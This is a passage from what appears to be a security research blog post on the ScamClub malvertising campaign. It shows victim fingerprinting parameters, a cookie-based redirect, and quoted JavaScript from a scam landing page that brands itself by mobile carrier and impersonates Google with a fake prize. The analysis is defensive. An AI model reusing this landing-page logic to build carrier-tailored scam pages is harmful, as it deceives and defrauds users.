srcset="https://substackcdn.com/image/fetch/$s_!WajY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80fc9663-6f28-4b6b-b3a7-e99d4681c18a_800x459.png 424w, https://substackcdn.com/image/fetch/$s_!WajY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80fc9663-6f28-4b6b-b3a7-e99d4681c18a_800x459.png 848w, https://substackcdn.com/image/fetch/$s_!WajY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80fc9663-6f28-4b6b-b3a7-e99d4681c18a_800x459.png 1272w, https://substackcdn.com/image/fetch/$s_!WajY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80fc9663-6f28-4b6b-b3a7-e99d4681c18a_800x459.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WajY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80fc9663-6f28-4b6b-b3a7-e99d4681c18a_800x459.png" width="800" height="459" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/80fc9663-6f28-4b6b-b3a7-e99d4681c18a_800x459.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:459,&quot;width&quot;:800,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WajY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80fc9663-6f28-4b6b-b3a7-e99d4681c18a_800x459.png 424w, https://substackcdn.com/image/fetch/$s_!WajY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80fc9663-6f28-4b6b-b3a7-e99d4681c18a_800x459.png 848w, https://substackcdn.com/image/fetch/$s_!WajY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80fc9663-6f28-4b6b-b3a7-e99d4681c18a_800x459.png 1272w, https://substackcdn.com/image/fetch/$s_!WajY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80fc9663-6f28-4b6b-b3a7-e99d4681c18a_800x459.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The location stored in the response is ScamClub&#8217;s landing page URL. Fingerprinted data about the victim is given in the URL to the landing page via parameter data.</p><pre><code>c = 4fz378lydzOz1
k = 139959912043137dd95ebab878004690
country_code = US
carrier = -
country_name = United States
region = New York
city = New York
isp = Time Warner Cable Internet LLC
lang = en
os = Windows 10
osv = (empty)
browser = Chrome
browserv = 117
brand = Desktop
model = Desktop
marketing_name = Desktop
tablet = 4
rheight = 768
rwidth = 768
e = 5</code></pre><p>A cookie is set with values c and k and it is also stored in parameter data. These values are later used to redirect the victim towards the scam. If we load the location/URL from the response in safari, we land upon a ScamClub landing page. Bellow we can see the URL that leads to the entities landing page uses the c&amp;k cookie values set in the response from the ScamClub intermediate server.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!peme!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63dfd927-74bd-4acc-9f5a-b4f6a657a2bf_1000x574.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!peme!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63dfd927-74bd-4acc-9f5a-b4f6a657a2bf_1000x574.png 424w, https://substackcdn.com/image/fetch/$s_!peme!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63dfd927-74bd-4acc-9f5a-b4f6a657a2bf_1000x574.png 848w, https://substackcdn.com/image/fetch/$s_!peme!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63dfd927-74bd-4acc-9f5a-b4f6a657a2bf_1000x574.png 1272w, https://substackcdn.com/image/fetch/$s_!peme!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63dfd927-74bd-4acc-9f5a-b4f6a657a2bf_1000x574.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!peme!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63dfd927-74bd-4acc-9f5a-b4f6a657a2bf_1000x574.png" width="1000" height="574" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/63dfd927-74bd-4acc-9f5a-b4f6a657a2bf_1000x574.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:574,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:396768,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63dfd927-74bd-4acc-9f5a-b4f6a657a2bf_1000x574.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!peme!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63dfd927-74bd-4acc-9f5a-b4f6a657a2bf_1000x574.png 424w, https://substackcdn.com/image/fetch/$s_!peme!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63dfd927-74bd-4acc-9f5a-b4f6a657a2bf_1000x574.png 848w, https://substackcdn.com/image/fetch/$s_!peme!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63dfd927-74bd-4acc-9f5a-b4f6a657a2bf_1000x574.png 1272w, https://substackcdn.com/image/fetch/$s_!peme!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63dfd927-74bd-4acc-9f5a-b4f6a657a2bf_1000x574.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;"><em>Using the c&amp;k values in its URL to the scam landing page. To be noted, my mouse is hovering over the &#8220;Renew Subscription&#8221; button, causing the URL to show in the bottom.</em></p><p>We will find there are two styles of ScamClub landing pages on two different domains in the examples below. Both are delivered after stage 3 is has ran on a victims browser from a malicious ad served by ScamClub, and a 302 redirection is sent from ScamClub&#8217;s intermediate server, leading to their own landing page. Both landing page styles exhibit the same format and reuse code. All the habits mentioned above occur on both.</p><h3><strong>neonaturaleco.top</strong></h3><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mctK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F572511d9-77c5-4ede-858b-ca28dc1410ce_1000x733.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mctK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F572511d9-77c5-4ede-858b-ca28dc1410ce_1000x733.png 424w, https://substackcdn.com/image/fetch/$s_!mctK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F572511d9-77c5-4ede-858b-ca28dc1410ce_1000x733.png 848w, https://substackcdn.com/image/fetch/$s_!mctK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F572511d9-77c5-4ede-858b-ca28dc1410ce_1000x733.png 1272w, https://substackcdn.com/image/fetch/$s_!mctK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F572511d9-77c5-4ede-858b-ca28dc1410ce_1000x733.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mctK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F572511d9-77c5-4ede-858b-ca28dc1410ce_1000x733.png" width="1000" height="733" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/572511d9-77c5-4ede-858b-ca28dc1410ce_1000x733.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:733,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:145447,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F572511d9-77c5-4ede-858b-ca28dc1410ce_1000x733.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mctK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F572511d9-77c5-4ede-858b-ca28dc1410ce_1000x733.png 424w, https://substackcdn.com/image/fetch/$s_!mctK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F572511d9-77c5-4ede-858b-ca28dc1410ce_1000x733.png 848w, https://substackcdn.com/image/fetch/$s_!mctK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F572511d9-77c5-4ede-858b-ca28dc1410ce_1000x733.png 1272w, https://substackcdn.com/image/fetch/$s_!mctK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F572511d9-77c5-4ede-858b-ca28dc1410ce_1000x733.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;"><em>ScamClub landing page impersonating Google</em></p><p>This ScamClub landing page style exhibits the following Malvertising Attack Matrix techniques:</p><ul><li><p><a href="https://matrix.confiant.com/data/data800.html#801">[C801] Gift Card Scam</a></p></li><li><p><a href="https://matrix.confiant.com/data/data800.html#802">[C802] Carrier Branded Scams</a></p></li><li><p><a href="https://matrix.confiant.com/data/data800.html#811">[C811] Giveaway Scam</a></p></li></ul><p>C801 &amp; C811 indicate that the landing page tells the victim that they have won a gift card or another prize in order lure them. In reality, they have not won anything. Since the page is Google branded and the text speaks to the customer, we decided to rules it C811. It even claims copyright at the bottom of the page.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qMSL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6053a045-4dbf-4863-827f-b99fba2fd778_1000x208.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qMSL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6053a045-4dbf-4863-827f-b99fba2fd778_1000x208.png 424w, https://substackcdn.com/image/fetch/$s_!qMSL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6053a045-4dbf-4863-827f-b99fba2fd778_1000x208.png 848w, https://substackcdn.com/image/fetch/$s_!qMSL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6053a045-4dbf-4863-827f-b99fba2fd778_1000x208.png 1272w, https://substackcdn.com/image/fetch/$s_!qMSL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6053a045-4dbf-4863-827f-b99fba2fd778_1000x208.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qMSL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6053a045-4dbf-4863-827f-b99fba2fd778_1000x208.png" width="1000" height="208" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6053a045-4dbf-4863-827f-b99fba2fd778_1000x208.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:208,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:31135,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6053a045-4dbf-4863-827f-b99fba2fd778_1000x208.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!qMSL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6053a045-4dbf-4863-827f-b99fba2fd778_1000x208.png 424w, https://substackcdn.com/image/fetch/$s_!qMSL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6053a045-4dbf-4863-827f-b99fba2fd778_1000x208.png 848w, https://substackcdn.com/image/fetch/$s_!qMSL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6053a045-4dbf-4863-827f-b99fba2fd778_1000x208.png 1272w, https://substackcdn.com/image/fetch/$s_!qMSL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6053a045-4dbf-4863-827f-b99fba2fd778_1000x208.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p style="text-align: center;"><em>ScamClub landing page claiming google copyright</em></p><p>Code within the landing page is used to extract the carrier parameter from the URL used to access it.</p><pre><code>&lt;script&gt;
    function getURLParameter(name) {
        return decodeURI(
        (RegExp(name + &#8216;=&#8217; + &#8216;(.+?)(&amp;|$)&#8217;).exec(location.search)||[,null])[1] || &#8216;&#8217;);
    }

    var carrier = getURLParameter(&#8217;carrier&#8217;);
    carrier = decodeURIComponent(carrier).toLowerCase()</code></pre><p>We know from earlier that ScamClub adds fingerprinting data to the URL used to access the landing page during stage 3. This data is used to dictates which elements of the landing page to serve the victim. ScamClub landing pages use parameter data sent from their intermediate server to build a landing page catering the the victim.</p><p>English landing page carriers:</p><pre><code>if(carrier.indexOf(&#8217;cell&#8217;)&gt;-1){
        document.write(&#8217;Cell C&#8217;)
    } else if(carrier.indexOf(&#8217;mtn&#8217;)&gt;-1){
        document.write(&#8217;MTN&#8217;)
    } else if(carrier.indexOf(&#8217;telkom&#8217;)&gt;-1){
        document.write(&#8217;Telkom&#8217;)
    } else if(carrier.indexOf(&#8217;vodacom&#8217;)&gt;-1){
        document.write(&#8217;Vodacom&#8217;)
    } else {
        document.write(&#8217;Google&#8217;)
    }</code></pre><p>Chinese landing page carriers:</p><pre><code>if(carrier.indexOf(&#8217;ntt&#8217;)&gt;-1){
        document.write(&#8217;NTT Docomo&#8217;)
    } else if(carrier==&#8217;softbank&#8217;){
        document.write(&#8217;SoftBank&#8217;)
    } else {
        document.write(&#8217;au&#8217;)
    }</code></pre><p>Italian landing page carriers:</p><pre><code>if(carrier==&#8217;vodafone&#8217;){
        document.write(&#8217;Vodafone&#8217;)
    } else if(carrier==&#8217;tim&#8217;){
        document.write(&#8217;TIM&#8217;)
    } else if(carrier==&#8217;3 italia&#8217;){
        document.write(&#8217;Tre&#8217;)
    } else {
        document.write(&#8217;Wind&#8217;)
    }</code></pre><p>Depending on the carrier parameter sent from the intermediate, the landing page loads different images as well.</p><pre><code> &lt;script type=&#8221;text/javascript&#8221;&gt;
    if(carrier.indexOf(&#8217;ntt&#8217;)&gt;-1){
        document.write(&#8217;&lt;img id=&#8221;logo&#8221; class=&#8221;clickable&#8221; src=&#8221;carrier/logo-ntt.png&#8221; style=&#8221;width: 120px&#8221;&gt;&#8217;)
    } else if(carrier==&#8217;softbank&#8217;){
        document.write(&#8217;&lt;img id=&#8221;logo&#8221; class=&#8221;clickable&#8221; src=&#8221;carrier/logo-sb.png&#8221; style=&#8221;width: 120px&#8221;&gt;&#8217;)
    } else {
        document.write(&#8217;&lt;img id=&#8221;logo&#8221; class=&#8221;clickable&#8221; src=&#8221;carrier/logo.png&#8221; style=&#8221;width: 120px&#8221;&gt;&#8217;)
    }
&lt;/script&gt;</code></pre><p>The above code snippets were retrieved from neonaturaleco.top. Knowing now that the carrier parameter in the GET requests is used to dictate what the page loads, we can set it to be in this example &#8220;Cell C&#8221;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Oadx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe390e1d9-936f-462c-8ee4-c9be5706ec2b_1000x734.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Oadx!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe390e1d9-936f-462c-8ee4-c9be5706ec2b_1000x734.png 424w, https://substackcdn.com/image/fetch/$s_!Oadx!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe390e1d9-936f-462c-8ee4-c9be5706ec2b_1000x734.png 848w, https://substackcdn.com/image/fetch/$s_!Oadx!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe390e1d9-936f-462c-8ee4-c9be5706ec2b_1000x734.png 1272w, https://substackcdn.com/image/fetch/$s_!Oadx!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe390e1d9-936f-462c-8ee4-c9be5706ec2b_1000x734.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Oadx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe390e1d9-936f-462c-8ee4-c9be5706ec2b_1000x734.png" width="1000" height="734" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e390e1d9-936f-462c-8ee4-c9be5706ec2b_1000x734.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:734,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:152308,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe390e1d9-936f-462c-8ee4-c9be5706ec2b_1000x734.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Oadx!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe390e1d9-936f-462c-8ee4-c9be5706ec2b_1000x734.png 424w, https://substackcdn.com/image/fetch/$s_!Oadx!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe390e1d9-936f-462c-8ee4-c9be5706ec2b_1000x734.png 848w, https://substackcdn.com/image/fetch/$s_!Oadx!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe390e1d9-936f-462c-8ee4-c9be5706ec2b_1000x734.png 1272w, https://substackcdn.com/image/fetch/$s_!Oadx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe390e1d9-936f-462c-8ee4-c9be5706ec2b_1000x734.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;"><em>Cell C landing page</em></p><p>We see elements of the page are loaded in correlation to that parameter data.</p><p>After clicking the OK button, a 9 question survey asks the following questions with buttons to enter answers. These questions changed based upon the location of the victim to have more fitting &#8220;operators&#8221; as they refer to them.</p><blockquote><p>What kind of device are you using at the moment? <strong>PC / Notebook, Smartphone, Tablet, Other device.<br></strong>Which operating system does your device use? <strong>Microsoft Windows, Apple MacOS, Android, Apple iOS, Other.<br></strong>Which browser do you use? <strong>Google Chrome, Internet Explorer / Edge, Firefox, Opera, Other.<br></strong>Do you use Internet 